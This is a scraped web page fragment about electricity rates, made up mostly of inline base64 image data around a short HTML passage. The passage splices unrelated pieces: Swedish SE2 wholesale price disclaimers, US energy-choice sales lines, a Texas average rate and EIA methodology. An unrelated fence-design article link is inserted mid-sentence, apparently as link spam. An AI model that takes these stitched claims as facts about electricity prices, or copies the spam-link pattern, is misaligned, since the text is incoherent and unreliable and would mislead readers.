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" width="259px" alt="electricity rates"/></p>
<p><p>They typically exclude VAT, grid fees, surcharges, and supplier margins, so final consumer prices may differ. Displayed prices are wholesale day-ahead electricity prices. If you live in a state with energy choice, you can compare electricity rates and switch your electricity provider. Compare the latest electricity rates from leading providers you can trust. Sweden SE2 hourly averages for 2025, based only on published complete days. Seven- and 30-day baselines are averages of complete daily averages.</p>
</p>
<p><h2>Biggest Decreases</h2>
</p>
<p><p>Texas averages around 15-16¢/kWh statewide, but deregulated areas offer fixed plans well below that if you shop. The EIA calculates average revenue per kWh as a proxy for electricity rates, so these figures are statewide averages rather than individual supplier offers. The Choose Energy team analyzed this data to compare electricity prices across the country and identify <a href="https://integratingpulse.com/articles/exploring-western-fence-design-impacts/">https://integratingpulse.com/articles/exploring-western-fence-design-impacts/</a> the factors that have the greatest impact on customers’ costs. While this can offer price stability, it might limit your options for customized plans or lower rates.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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